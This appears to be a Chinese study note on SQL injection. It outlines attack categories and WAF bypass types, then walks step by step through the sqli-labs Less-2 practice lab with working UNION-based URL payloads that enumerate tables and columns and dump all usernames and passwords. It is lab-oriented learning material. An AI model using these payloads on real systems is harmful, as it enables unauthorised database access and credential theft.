1.SQL注入知识点包括:
数据库类型:MYSQL,MSSQL,Oracle,Access,其他
提交方式:POST,GET,COOKIE,REQUEST,HTTP头,其他
数据类型:数字型,字符型,其他
查询方式:select,insert,delete,updata,order by
回显/盲注:回显注入,无回显注入,延时注入,布尔盲注
WAF绕过:更改提交方法,大小写混合,解密编码类。注释符混用,等价函数替换,特殊符号混用,等其他
其他注入方式:加解密注入,JSON注入,LADP注入,二次注入,堆叠注入
SQL注入防御方案:代码加载过滤,WAF产品部署
2.浏览器进行数据提交给服务器:
get提交:通过url提交 有数据长度限制
数据快(用于数据不敏感的页面,要速度不要安全)
post提交:直接通过服务器提交 安全性更高 数据量更大
3.尝试手工注入:
1.判断有没有注入点 and 1=1; true
随便输入内容 == 报错 有注入点(证明语句进入到数据库中执行)
== 没报错 无注入点
2.猜解列名数量 order by 数字 排序 %20代表空格
3.通过报错,判断回显点 union
4.信息收集
数据库版本 version()
高版本 :高于5.0 有系统库(information库)
低版本:低于5.0 没有系统库
5.使用对应SQL进行注入
information_schema.tables 查找表名
information_schema.columns 查找表中数据
4.这边以sqli less-2(get型)进行举例
1.less-2是一个简单的id型注入点,在不知道的情况下可以多试几个常用的注入点,最后试到id的时候,发现页面无法正常显示
http://localhost/sqli-labs-master/Less-2/?id=sadasds
2. 现在已经知道id是一个注入点,接下来我们对字段(列数)进行猜解(忙猜) 这里用order by
http://localhost/sqli-labs-master/Less-2/?id=1%20order%20by%203
这里的%20代表空格,输入发现,页面正常显示,说明字段大于等于3,接下来输4
http://localhost/sqli-labs-master/Less-2/?id=1%20order%20by%204
发现页面错误显示,此时说明字段只有3个
3.接下来通过这个字段数和页面的报错,来判断回显点,这边用union函数
http://localhost/sqli-labs-master/Less-2/?id=1%20union%20select%20%201,2,3
这边注意,用union时前后查询的字段数要一致,这边已经知道id的字段数就是为3
此时发现页面没有变化,这是因为语句前面id=1的页面显示把后面的select 1,2,3给覆盖了,此时应该将前面id=1改为页面没有显示的情况,即非正常数,这里用-1,0也可以
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%20%201,2,3
发现只显示后面的2和3,1不显示,所以我们后面对2和3的位置进行信息收集
4.我们先查询一下这个sqli网站的数据库是高版本还是低版本,前文有说是因为高版本的数据库具有数据系统库,有自带的4个库,就可以直接对information这个库进行查询
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%20%201,version(),3
发现版本大于5.0为高版本数据库
5.直接用database()这个函数查询这个位置对应的数据库名
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%20%201,database(),3
6.此时已经知道了库名,注入点,以及服务器版本为高版本服务器,那我们就直接进行注入就可以了
通过数据库服务器的知识可知,应该要从上往下逐步进行查询,所以我们应先查询表信息。我们先对下列语句进行分析,table_name指的是表名,我们需要查询的地方,从information_schema.tables这个表进行查询,这里的.呢代表的是information_schema系统库的下一级,也就是表这一级,因为这个网站查询出来的所有表可能有成百上千个,所以where table_schema='security'这个语句的作用就是定点查询security这个库下的表,因为我们前面已知我们要查询的库名为security
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%20%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=%27security%27
查询的结果发现只有emails这一个表,我们很奇怪为什么只有一个,这是因为表可能很多,不一定显示得下,所以显示到页面上的可能只有一个,这时候就得用group_concat()这个函数,进行包裹,分组,去重。主要是作为分组,即页面上显示的东西是一组一组显示出来的
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%20%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27
7.这时候发现security这个库下的所有数据名都显示出来了,根据直觉可以知道应该是users这个表里面保存着相应的账号密码,接着查询这个表中有哪些字段,即我们对column表,这个包含所有列名信息的表进行查询,我们对这个语句分析一下,所以我们不再查table_name而是column_name(列名),是从information_schema.columns里去找,同上,是在table_name为users的这个表名中去查找列名
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%20%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27
8.这样一下就能看出肯定是username,password这两个字段中保存着账号密码,接下来直接查询
查询语句为union select 1,(select group_concat(username,0x3a,password) from users),3
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,(select%20group_concat(username,0x3a,password)%20from%20users),3
这样就拿到所有的账号密码